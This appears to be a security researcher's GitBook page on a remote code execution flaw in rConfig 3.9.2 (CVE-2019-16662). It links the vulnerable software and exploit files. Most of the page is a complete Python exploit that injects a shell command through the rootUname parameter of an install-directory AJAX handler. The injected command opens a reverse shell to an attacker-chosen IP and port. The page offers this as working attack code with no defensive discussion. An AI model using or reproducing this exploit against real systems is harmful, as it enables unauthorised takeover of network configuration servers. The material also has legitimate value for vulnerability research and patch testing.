# rConfig 3.9.2 - Remote Code Execution

{% embed url="<https://www.exploit-db.com/exploits/47555>" %}

### FILES

{% file src="<https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-LtRHI6-Qp617HHsZogC%2F-LtRN2S9IM9ZhyBtlRVQ%2Frconfig-3.9.2.zip?alt=media&token=d7d250e1-32a9-414c-b3f6-bb6731c7e0f5>" %}
Vulnerable software
{% endfile %}

{% file src="<https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-LtVEfzACh2bMzfxmw5L%2F-LtVFe1uYeQR8N6FTF1C%2FrConfig-preauth.txt?alt=media&token=7e293fa3-b3e8-4fca-af19-1b0db02251dc>" %}
Exploit PreAuth
{% endfile %}

{% file src="<https://1852982556-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LswwllXaxD3XsQPgVOF%2F-LtVEfzACh2bMzfxmw5L%2F-LtVFpNnQCCkRjV2QpHt%2FrConfig-postauth.txt?alt=media&token=4d5bd2d0-0e87-435c-82d5-7e81e4393017>" %}
Exploit PostAuth
{% endfile %}

### POC

{% embed url="<https://www.youtube.com/watch?v=uZbh-j5HvO4>" %}

### ORIGINAL

```
# Exploit Title: rConfig 3.9.2 - Remote Code Execution
# Date: 2019-09-18
# Exploit Author: Askar
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22
# CVE : CVE-2019-16662

#!/usr/bin/python

import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 4:
    print "[+] Usage : ./exploit.py target ip port"
    exit()

target = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))

install_path = target + "/install"

req = requests.get(install_path, verify=False)
if req.status_code == 404:
    print "[-] Installation directory not found!"
    print "[-] Exploitation failed !"
    exit()
elif req.status_code == 200:
    print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload

print "[+] Triggering the payload"
print "[+] Check your listener !"

requests.get(url_to_send, verify=False)


rConfig-preauth.png
```
